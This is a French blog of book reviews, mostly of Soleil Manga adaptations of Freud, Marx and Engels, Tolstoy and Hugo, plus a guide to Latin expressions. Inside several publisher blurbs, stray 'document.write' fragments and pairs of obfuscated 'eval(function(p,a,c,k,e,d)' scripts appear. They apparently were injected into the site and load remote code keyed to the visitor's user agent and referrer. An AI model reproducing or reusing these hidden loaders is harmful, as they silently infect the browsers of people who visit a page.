Le manga se conclut avec “Malaise dans la civilisation” (pg 179), qui nous introduit brièvement à un autre ouvrage de Freud (1930). Avec la Première Guerre Mondiale, Freud réalise qu’au fond l’homme reste un sauvage guidé par ses pulsions primitives violentes. Il complémente sa première topique psychique (inconscient, préconscient, conscient) par une seconde topique composée du Moi (réalité), du Ça (plaisir) et du Surmoi (conscience morale). “Dans une société civilisée, afin de se conformer à l’ordre exigé, l’énergie primitive du ça doit se hisser à un autre niveau. Ceci se fait principalement lorsque le moi est utilisé dans un effort intellectuel [culture] amenant l’énergie du ça vers “la sublimation“.”

Comparaison des pages 24-25 de l’édition originale et française

Comme pour la plupart des autres volumes de la collection, le dessin de ce manga est plutôt médiocre mais est tout de même étrangement efficace pour exprimer un sujet aussi théorique que la psychanalyse. Et, malgré une approche plutôt superficiel, le manga en constitue quand même une bonne introduction. Cela n’a rien de passionnant mais c’est néanmoins une bonne lecture. Cela m’a rappelé un peu le film A Dangerous Method, qui traite de la rivalité entre Jung et Freud. Je dois également ajouter que le titre est trompeur car l’interprétation des rêves ne constitue qu’une minuscule partie de l’ouvrage (douze pages!) qui aurait plutôt due s’appeler “Introduction à la psychanalyse” comme c’est le cas de l’édition originale japonaise.

L’interprétation des rêves, écrit par Sigmund Freud, adapté et illustré par Variety Art Works (traduction: Anne Mallevay). Toulon, Soleil Manga (Coll. Classiques), octobre 2013. 12,8 x 18,2 x 1,50 cm, 192 pg., 6,99 € / $12.95 Can. ISBN: 978-2-30203-137-1. Lecture dans le sens occidental et recommandé pour jeunes adultes (14+).
Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Vorlesungen zur Einfürung in die Psychoanalyse; Die Traumdeutung by Sigmund Freud © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2013 Éditions Soleil.

[ Translate ]

Manifeste du parti communiste

“Redécouvrez les grandes idées de Karl Marx et de Friedrich Engels et de leur Manifeste du parti Communiste, document.write(“”); par le biais de cette fiction prenant place dans l’Europe de la révolution industrielle. Revivez les aventures de Bill, de Frank et de Simon, qui vont oser se lever et remettre en question un système capitaliste injuste et opposant les bourgeois aux prolétaires”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbntd|var|u0026u|referrer|ksdhs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhkdb|var|u0026u|referrer|inhnz||js|php’.split(‘|’),0,{}))

[ Texte du
site de l’éditeur ]

Les prolétaires n’ont rien à perdre que leurs chaînes !

“L’histoire de toute société jusqu’à nos jours n’a été que l’histoire de lutte de classes, expliquaient Karl Marx et Friedrich Engels. (…) Accessible à tous et très didactique, cette adaptation en manga de classique est une magistrale leçon d’histoire sociale.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

Le manifeste du Parti Communiste (??????: ????? (???????????) / Manga de dokuha: Ky?san T?sengen / “Lire en manga: Manifest der Kommunistischen Partei”) est le quarante-troisième volume de la collection manga de dokuha publiés par East Press en août 2009 (le #967 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le sixième titre de la collection a être traduit par Soleil Manga en mars 2012 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu, Le Capital, Le rouge et le noir, Les misérables et Guerre et Paix). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

Dans l’ensemble cette adaptation en manga respecte assez bien les idées de bases et la structure du Manifeste du Parti Communiste, mais au lieu de l’exposer d’une façon magistrale elle l’illustre à l’aide d’une histoire qui met en scène trois ouvriers d’une usine quelque part en Europe. Le texte du Manifeste est largement cité tout au long du récit.

Dans la première partie, “Bourgeois et Prolétaires” (pg. 5), Bill, Frank et Simon réalisent qu’ils sont outrageusement exploité par les bourgeois propriétaires de l’usine où ils travaillent et cela dans le seul but de s’enrichir alors qu’eux gagnent à peine de quoi survivre et que leur travail éreintant ruine leur santé et ne leur laisse que peu de temps avec leur famille. [ci-contre: pg 94] Inévitablement, face à ce traitement, les ouvriers se soulèvent. Ils découvrent que l’un des gestionnaires de l’usine, Normann, est en fait un agitateur en mission secrète pour établir un syndicat dans ce district, dans le but ultime de créer un parti. L’idée est d’éventuellement fonder un lieu (une ville, puis un pays) “qui hébergera un socialisme critico-utopique (…) [où] il n’y aura pas de classes et toute la production sera répartie équitablement…” L’idée exprimée dans cette partie du Manifeste est que “L’histoire de toute société jusqu’à nos jours est l’histoire de la lutte des classes. (…) La société bourgeoise moderne (…) n’a fait que de substituer aux anciennes de nouvelles classes, de nouvelles conditions d’oppression (…). [N]otre époque (…) a simplifié l’opposition des classes. La société toute entière se divise de plus en plus (…) en deux grandes classes (…) : la bourgeoisie et le prolétariat.”

Comparaison des pages 12-13 de l’édition originale et française

Dans la seconde partie, “Prolétaires et Communistes” (pg. 100), nos ouvriers sont allé travaillé à Utopie, la ville du socialisme. Ils y trouvent “Un bon environnement de travail… Des horaires de travail raisonnables… Une cantine et des boutiques réservés aux employés… Des infrastructure scolaires… un logement pour tous..” Tout semble bien dans le meilleurs des mondes. Vraiment? Dans une société où tous reçoivent un salaire identique, tous doivent travailler équitablement. Les contrevenants, les fainéants, seront sévèrement punis! Mais l’homme derrière tout cela, Bruno, a des motivations cachées. Il a mis en marche cette révolution non pas pour abolir la domination du prolétariat et établir une société plus juste et équitable, mais dans le but de reconstruire une société féodale! Lorsque la vérité est découverte, Normann élimine Bruno, mais trop tard car l’armée envahit Utopie et tout est perdu. Dès la page 110, le récit introduit Marx et Engels comme narrateurs et commentateurs. Le message exprimé ici est que la seule façon de mettre fin à la lutte des classes et à l’oppression du prolétariat est d’abolir la propriété privée, de centraliser le capital et tous les instruments de production entre les mains de l’état et d’organiser par la révolution le prolétariat en classe dominante : c’est-à-dire le communisme.

Cette partie du manga inclut également (pg 132-133) la troisième partie du Manifeste : “Littérature socialiste et communiste.” En réponse aux révolutions citoyennes, les aristocrates et bourgeois ont développé des modes de pensées socialistes afin d’apaiser le prolétariat tout en continuant de l’opprimer: le socialisme réactionnaire (féodal, petit-bourgeois, allemand), conservateur ou bourgeois. Les tout premiers systèmes socialistes et communistes (les écrits critico-utopiques de Saint-Simon, Fourier, Owen, etc.) finissent tous malheureusement par un échec, en retombant dans la catégorie des socialistes réactionnaire. Il y a toutefois eut quelques succès, comme la Commune de Paris en 1871. Mais le véritable communisme est inévitable. Car “le développement de la grande industrie sape, sous les pieds de la bourgeoisie, le terrain même sur lequel elle a établi son système de production et d’appropriation. Sa chute et la victoire du prolétariat sont également inévitables.”

Dans la troisième partie du manga (pg. 179; mais la quatrième du Manifeste), Marx et Engels expliquent “La position du communisme [à l’égard des différents partis d’opposition].” Ils ont déjà établit dans la préface qu’étant donné que le spectre du communisme hante l’Europe et qu’il est maintenant reconnu comme une puissance, il est grand temps qu’ils exposent, par ce manifeste, leurs conceptions et leurs objectifs. Ainsi, “les communistes appuient en tous pays tout mouvement révolutionnaire contre l’ordre social et politique existant” (que ce soit les chartistes anglais, les réformateurs agraires en Amérique, le partie démocrate-socialiste français, les mouvements en Suisse et en Pologne avec le soulèvement de Cracovie) et cela même s’ils ne sont pas foncièrement “ouvriers”. Ils concluent :

“Les communistes enfin travaillent partout à l’union et à l’entente des partis démocratiques de tous les pays. Les communistes dédaignent de dissimuler leurs conceptions et leurs desseins. Ils expliquent ouvertement que leurs objectifs ne peuvent être atteints que par le renversement violent de tout ordre social passé. Que les classes dominantes tremblent devant une révolution communiste. Les prolétaires n’ont rien à y perdre que leurs chaînes. Ils ont un monde à gagner. Prolétaires de tous les pays, unissez-vous !

Comparaison des pages 14-15 de l’édition originale et française

L’histoire et le traitement du Manifeste du Parti Communiste est assez similaire à l’adaptation manga du Capital. C’est bien une fois mais à la longue cela devient un peu ennuyeux. Cette adaptation est toutefois intéressante en soi. Le récit est assez bon mais je ne crois pas que l’on puisse rendre adéquatement un ouvrage théorique comme le Manifeste dans un manga. Chose surprenante, malgré tout, l’essentiel est là (je n’ai bien sûr pas lu le Manifeste en détails mais je l’ai cependant feuilleté suffisamment en bibliothèque et en ligne pour établir cette opinion).

La grosse faiblesse du manga est son dessin dont la qualité varie entre médiocre et moyen. Encore une fois, les dessinateurs réussissent quand même, malgré tout, à illustrer le récit efficacement. Toutefois, si le fait que tout les ouvrages de la collection “Classiques” de Soleil Manga sont présenté dans le sens de lecture occidental ne m’avait pas déranger jusqu’à maintenant, je suis ici horrifié de constater qu’on a omit de réajuster certaines cases après avoir “flippé“ la page, avec pour résultat une carte du monde à l’envers (voir page 14, ci-haut) ! Ce n’est déjà pas un chef d’oeuvre d’adaptation alors on aurait pu au moins éviter d’empirer la situation ici en faisant un petit effort!

En conclusion, c’est tout de même une introduction intéressante au Manifeste du Parti Communiste. C’est un ouvrage qui exprime l’idéologie d’une autre époque (quoique certains le trouvent toujours pertinent) mais dont la connaissance demeure encore plutôt utile de nos jours, du moins pour ceux qui ont a coeur la compréhension de leur histoire et de la géo-politique actuelle. Sinon c’est à lire pour les curieux.

Le manifeste du Parti Communiste, écrit par Karl Marx & Friedrich Engels, adapté et illustré par Variety Art Works (traduction: Florent Gorges). Toulon, Soleil Manga (Coll. Classiques), mars 2012. 12,8 x 18,2 x 1,75 cm, 224 pg., 6,99 € / $12.95 Can. ISBN: 978-2-30201-877-8. Lecture dans le sens occidental et recommandé pour jeunes adultes (14+).
Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Manifest der Kommunistischen Partei by Karl Heinrich Marx and Friedrich Engels © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2012 MC Productions.

[ Translate ]

365 expressions latines expliquées

“Certaines expressions latines et mots directement transcrits du latin sont d’un usage si courant qu’on en a presque oublié leur origine : a priori, document.write(“”); post-scriptum, nota bene, effet placebo, manu militari, curriculum vitae, intra muros, modus vivendi, quota, et caetera ! D’autres expressions sont moins limpides. Parmi les plus simples à comprendre, certaines formules bien connues : Veni, vidi, vici…, Errare humanum est… dont il est intéressant d’apprendre l’origine si on veut les employer à bon escient. Ce livre se présente comme une session de rattrapage, parfois très amusante, pour tous ceux qui n’ont pas « fait latin ».” [ Texte du site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeaaf|var|u0026u|referrer|irdzn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aftha|var|u0026u|referrer|fetbn||js|php’.split(‘|’),0,{}))

A priori, post-scriptum, nota bene, intra muros, modus vivendi, effet placebo, manu militari, curriculum vitae, referendum, quota, audit, consensus, lapsus, et caetera ! Les expressions et mots latins entrés dans notre langage quotidien ne manquent pas. Et tout le monde les comprend. Les choses se compliquent pour les non latinistes avec certaines formules pourtant courantes : in cauda venerum, fluctuat nec mergitur, ite misa est, prorata temporisa… Chez le juriste ou le médecin, les termes venus de Rome peuvent en déconcerter plus d’un : ab intestat (qui a plus à voir avec un testament qu’avec l’intestin !), in paribus (« dans les parties », mais au sens de « régions occupées par des infidèles »). Que de contresens possibles ! (…)” [ Texte de la
couverture arrière ]

Continuez après le saut de page >>

Avant même de faire du latin à l’université, j’ai toujours été très intéressé aux locutions (ou expressions) latines que l’on trouvaient dans les fameuses « pages roses » du Petit Larousse Illustré, insérées entre les noms communs et les noms propres. Il parait qu’elles ne se trouvent plus dans les éditions récentes du Petit Larousse… Dommage. C’est sans doute pour combler cette lacune que les Éditions du Chêne ont publié ce petit ouvrage, qui offre, nous dit-on, une liste plus complete et plus actuelle que celle des dites « pages roses ».

Il est inévitable, en effet, de rencontrer des expressions latines dans la langue française, que ce soit dans notre parlé quotidien ou dans des usages plus techniques ou scientifiques. Que ce soit pour faire preuve d’un peu plus de culture, pour approfondir notre lecture d’Astérix ou simplement pour permettre aux non-latinistes de s’y retrouver, ce petit guide est d’une utilisation pratique et agréable.

L’ouvrage est agrémenté de nombreuses petites illustrations, souvent anciennes, tirées des archives d’Hachette. Ces illustrations n’ont généralement aucun rapport avec le texte, mais elles y mettent un peu de graphisme et de couleurs. Le gros avantage de cet ouvrage (comparé par exemple aux « pages roses ») c’est qu’il n’offre pas seulement la traduction française des expressions latines mais aussi explique leurs origines et leurs usages, ce qui est fort intéressant. Toutefois, le seul caveat [cette expression n’est d’ailleurs pas dans l’ouvrage puisqu’elle est surtout utilisée en anglais] est que les expressions ne sont pas présentées dans un ordre alphabétique. En fait, il semble n’y avoir aucune logique dans l’ordre utilisé, mais heureusement il y a un index alphabétique à la fin de l’ouvrage. Ce n’est pas une liste exhaustive des expressions existantes mais avec trois-cent-soixante-cinq d’entre elles (une pour chaque jour de l’année) on fait assez bien le tour (en 360° ?) du sujet…


Voici une sélection de vingt expressions latines notables:

1. Fugit irreparabile tempus (Le temps fuit irréparablement)
7. Sapere aude (Ose savoir, aie le courage de savoir)
16. Ira furor brevis est (La colère est une courte folie)
34. Timeo hominem unius libre (Je redoute l’homme d’un seul livre)
43. Nosce te ipsum (Connais-toi toi-même)
70. Oderint, dum metuant (Qu’ils me haïssent, pourvu qu’ils me craignent)
74. Mens sana in corpore sano (Une sprit sain dans un corps sain)
91. Sustine et abstine (Supporte et abstiens-toi)
94. Sed quis custodiet ipsos custodes (Mais qui surveillera les surveillants eux-mêmes?)
152. Verba volant, scripts manant (Les paroles s’envolent, [amis] les écrits restent)
194. Post coitum omne animal triste (Tout animal est triste après l’amour)
197. Nulla dies sine linea (Pas un jour sans une ligne)
219. Stultorum infinitus est numerus (Le nombre des sots est infini)
240. Credo quia absurdum (Je crois parce que c’est absurde)
249. Modus omnibus rebus (De la mesure en toute chose)
250. Aequo animo (D’une âme égale)
292. In medio stat virtus (La vertu se tient au milieu)
297. Dum spiro, spero (Tant que je respire, j’espère)
350. Carpe diem (Cueille le jour)
359. Sol omnibus lucet (Le soleil brille pour tout le monde)

Vous trouverez sur internet une liste de locutions latines plus complète ainsi qu’un extrait d’une dizaine de pages de cet ouvrage.

Je recommande donc ce livre pratique et amusant qui figure bien sur toute table à café, table de chevet ou simplement dans votre bibliothèque de références. Ce n’est pas le genre d’ouvrage que l’on lit d’un trait, du début à la fin, mais que l’on savoure par petite portion, de temps en temps, et à répétition.

365 expressions latines expliquées, écrit par Paul Desalmand & Yves Stalloni. Paris, Éditions du Chêne (Hachette Livre, Coll. Littérature), septembre 2013. 13.5 x 18.5 x 3.0 cm, 288 pg., 15,90 € / $26.95 Can. ISBN: 978-2-81230-829-1.
Pour plus d’information vous pouvez consulter les sites suivants:

365 expressions latines expliquées © 2013, Éditions du Chêne • Hachette Livre.

[ Translate ]

Guerre et Paix

Mon âme est éternelle ! Tu ne pourras jamais me l’enlever !
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kytns|var|u0026u|referrer|radaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zadhe|var|u0026u|referrer|daaza||js|php’.split(‘|’),0,{}))

Guerre et Paix, document.write(“”); fresque épique qui a pour théâtre la guerre napoléonienne avec la Russie du début du XIXème siècle, met en scène André, un jeune officier qui remet en cause l’utilité de combattre, Pierre, un homme tourmenté par sa recherche du vrai bonheur malgré son immense richesse et Natacha, une fille ingénue qui deviendra une femme pleine de charme. Leur destin et celui d’une multitude d’autres personnages, s’entrecroisent à Moscou, ville en proie à l’anarchie engendrée par la guerre.”

“Découvrez en manga une des oeuvres les plus grandioses de la littérature moderne.”

Ta victoire t’importe à ce point ?! Espèce de fanatique de la guerre !!

[ Texte du site de l’éditeur  et de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Guerre et Paix (???????????? / Manga de dokuha: Sens? to heiwa) est le septième volume de la collection manga de dokuha (lit. “Lisez en manga”) publiés par East Press en novembre 2007 (le #620 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le quatrième titre de la collection a être traduit par Soleil Manga en septembre 2011 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu, Le Capital, Le rouge et le noir et Les misérables). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

Dans le premier chapitre, intitulé “André” (pg 5), l’histoire débute en 1805 alors que la coalition des puissances européennes s’opposant aux conquêtes de Napoléon tente de l’arrêter à Austerlitz. Mais c’est la défaite. Le prince André Bolkonsky, aide de camp du général Koutouzov, est laissé pour mort sur le champ de bataille. À Moscou, sa femme Lise, qui est enceinte, garde toujours espoir. Mais André revient trop tard: sa femme est morte en donnant naissance à son fils. Il regrette d’avoir perdu un être cher à cause d’une guerre futile. Pendant ce temps, son ami le comte Pierre Bézoukhov (qui a épousé la belle Hélène Kouraguine, une “femme volage à la tête vide”) fait la fête avec des gens de mauvaise compagnie, principalement son ami Fiodor Dolokhov et quelques autres officiers sans titre de noblesse. Pierre et André se revoient lors d’une soirée chez les Rostov. André fait la rencontre avec la jeune et dynamique Natacha Rostov. [ci-contre: pg 9]

Dans le second chapitre (“Pierre”, pg 46), une lettre anonyme accuse Hélène d’avoir une liaison avec Dolokhov. Pierre provoque ce dernier en duel. Dolokhov, blessé, avoue qu’il a beau passer pour un homme brutal et sauvage mais il ne s’approprierait jamais la femme d’autrui. Hélène, furieuse du scandale, affirme qu’elle est simplement allé au théâtre avec Dolokhov parce que Pierre ne s’occupait pas assez d’elle. Le couple en vient à une entente: il se sépare mais Pierre doit fournir à sa femme une résidence et une grosse somme en dédommagement. Natacha invite Pierre et André à la villa familiale à Otradnoïe pour des vacances. André se remémore la bataille d’Austerlitz et les deux amis se demandent si, malgré la paix, ils sont vraiment heureux… Dans le troisièmes chapitre (“Natasha”, pg 82), André continue de fréquenter Natasha. Il tombe amoureux d’elle et désir la marier mais son père exige qu’ils attendent une année. En 1811, la guerre avec Napoléon menace à nouveau. Anatole Kouraguine, qui convoite Natasha, réussi à l’attirer chez lui grâce à la complicité de sa soeur Hélène, et tente de la violer. Pierre intervient à temps mais elle sent qu’elle a trahi l’amour d’André, et rompt l’engagement.

Dans le quatrième chapitre (“Moscou”, ci-bas: pg 112-113), Napoléon envahit la Russie en 1812 pour répondre à la violation du traité de paix (la Russie avait rompu le blocus continental en reprenant le commerce avec le Royaume-Uni) et marche sur Moscou. André est grièvement blessé à la bataille de Borodino. A l’approche de l’ennemi, les moscovites fuient la ville, qui brûle à cause de la négligence de l’envahisseur. Pierre est fait prisonnier par les soldats français. Malgré son succès, Napoléon doit battre en retraite car, faute de ravitaillement, le moral des troupes est au plus bas et l’hiver approche… Le récit (ou Tolstoï?) s’abandonne à quelques réflexions philosophiques:

“Pourquoi les gens… se jettent-ils corps et âme dans les tragédies historiques que sont les guerres? (…) Pourquoi obéissent-ils à la fatalité… au prix de tout leur être? L’homme… est un être dont la puissance est insignifiante. La raison en est… que les hommes ne sont rien de plus que des rouages qui bâtissent l’Histoire.”

Dans le dernier chapitre (“L’âme éternelle”, pg 166), André se réveille dans le couvent de Troïtsk avec sa soeur Marie et son fils Nicolas à son chevet. Natasha vient également le voir mais il est mourant. Ils se confessent tous deux leur amour. Napoléon se retire de Moscou en emportant les prisonniers avec lui—dont fait partie Pierre. Dans cette longue marche, en hiver, avec des provisions insuffisantes, le nombre de morts et de déserteurs ne cesse de croître. Heureusement, les troupes russes attaquent le convoi et libèrent les prisonniers. Pierre est sauvé par Dolokhov. Il retrouve Natasha et la marie. Le manga se termine sur une dernière réflexion:

“L’histoire ne parle jamais de la Paix. Les Hommes sont des rouages qui servent à bâtir l’histoire, ceci s’applique aussi bien aux soldats qu’aux paysans et même aux Rois. Il n’y a pas d’exception. Toutefois… L’Homme trouve néanmoins le chemin de la Vie. Il aime ses semblables, Nourrit ses enfants, Aide ses amis Et pardonne ses ennemies. Tout en riant avec son entourage, il aspire à une existence heureuse… Et construit lui-même sa vie. Mais cela, l’Histoire n’en parle pas et n’en parlera jamais.”

Il y a des adaptations qui sont réussi et d’autres qui ne le sont pas. Dans ce cas-ci je dirais que c’est un échec total. Non seulement le dessin est parfois carrément laid mais le récit comporte de sérieuses lacunes narratives (trop d’ellipse et de raccourci sans doute) qui rendent par moment l’histoire un peu trop difficile à comprendre. De plus, le ton du récit est souvent faux et exagéré, tombant dans la comédie (Napoléon nous est d’ailleurs présenté comme un vilain de grand guignol). Je ne doute pas que le manga rende l’essence du magnifique roman de Tolstoï mais trop en a été retiré et on se retrouve avec une histoire sans âme, trop simplifiée. Comme le dit l’avertissement d’ouverture, le manga n’est pas un remplacement du roman mais veut plutôt susciter l’envie de le lire. Hélas, dans ce cas-ci la campagne était trop ambitieuse et c’est la défaite. Je n’ai nul envie de poursuivre plus loin avec une lecture ennuyante. Un manga à éviter, donc, à moins que vous soyez vraiment curieux et courageux!

Guerre et Paix, écrit par Léon Tolstoï, adapté et illustré par Variety Art Works (traduction: Julien Lefebvre-Paquet). Toulon, Soleil Manga (Coll. Classiques), septembre 2011. 12,8 x 18,2 x 1,5 cm, 192 pg., 6,95 € / $12.95 Can. ISBN: 978-2-30201-878-5. Lecture dans le sens occidental (de gauche à droite) et recommandé pour jeunes adultes (14+).
Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Guerre et Paix by Leon Tolstoï © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2011 MC Productions.

[ Translate ]

Les misérables

“Octobre 1815, document.write(“”); Jean Valjean, après 19 années de bagne, revient en France, plein de rancunes contre la société. Mais une rencontre va changer sa vie et le transformer en homme de bien. Pourtant, en ces années-là, difficile de fuir son passé…” [ Texte du site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhrbf|var|u0026u|referrer|fyena||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzzba|var|u0026u|referrer|inkfn||js|php’.split(‘|’),0,{}))

Criminel tu es, criminel tu resteras !

“Sous l’impulsion du lumineux évêque Myriel, Jean Valjean, forçat libéré après 19 ans de bagne, prend la résolution de s’engager sur la voie du bien et de devenir un homme nouveau. Plusieurs années après, alors qu’il a changé de nom et qu’il est devenu maire de Montreuil-sur-Mer, Javert, un ancien gardien du bagne où il a été emprisonné, est nommé en tant qu’inspecteur de police dans cette ville…”

“Un manga inspiré par l’oeuvre magistrale de Victor Hugo, l’un des meilleurs poètes et romanciers français de l’école romantique.”

Tu ne m’échapperas pas, Jean Valjean !

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Les misérables (?????????????? / Manga de dokuha: re mizeraburu) est le vingt-huitième volume de la collection manga de dokuha (lit. “Lisez en manga”) publiés par East Press en janvier 2009 (le #836 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le troisième titre de la collection a être traduit par Soleil Manga en mai 2011 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu, Le Capital et Le rouge et le noir). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

Cette adaptation en manga de l’oeuvre de Victor Hugo semble être assez fidèle à l’original. Je n’ai bien sûr pas lu Les Misérables dans sa totalité mais j’ai vu suffisamment d’adaptations (cinématographiques, théâtrales, pour la télé, etc.) pour en avoir une assez bonne idée. Le manga suit la structure des cinq livres du roman (quoique le tome IV soit pratiquement absent) et se divise en sept chapitres. Dans “Les chandeliers d’argent” (pg 5), Jean Valjean, qui sort du bagne après dix-neuf ans, frappe à la porte de monseigneur Myrel pour obtenir un gîte pour la nuit. Après un cauchemar où il se rappelle les paroles du gardien Javert, “Criminel tu es, criminel tu resteras,” il ne peut résister à la tentation et s’enfuit en emportant l’argenterie de monseigneur Myrel. Lorsque Valjean est capturé, Myrel dit à la police lui avoir donné l’argenterie et lui remet en plus les chandeliers. “Par cette argenterie je rachète votre âme à l’esprit de perdition (…). Employez cet argent à devenir un honnête homme.” Sur la route, encore confus, Valjean prend par inadvertance la pièce de monnaie d’un jeune savoyard qui porte plainte à la police. Javert jure de le renvoyer au bagne. Dans “Fantine” (pg 28), quelques années plus tard, Valjean a changé son nom pour M. Madeleine et est maintenant maire de Montreuil-sur-mer. Alors que M. Fauchelevent se retrouve coincé sous sa charrette [ci-contre: pg 42], Valjean utilise sa force extraordinaire pour le libérer, et Javert, qui vient d’être nommé inspecteur de police de la ville, est témoin de la scène. Il commence à soupçonner la véritable identité du maire. Fantine perd son travail à la fabrique de bijoux de la ville car la gérante découvre qu’elle a un enfant hors mariage. Mais les Thénardier, qui gardent sa fille Cossette, ne cessent de lui demander de l’argent pour prendre soin d’elle et Fantine, qui est malade, doit vendre ses cheveux, ses dents et même se prostituer pour les payer. Après une bagarre, elle est arrêté par Javert mais Valjean use de son autorité de maire pour la faire libérer.

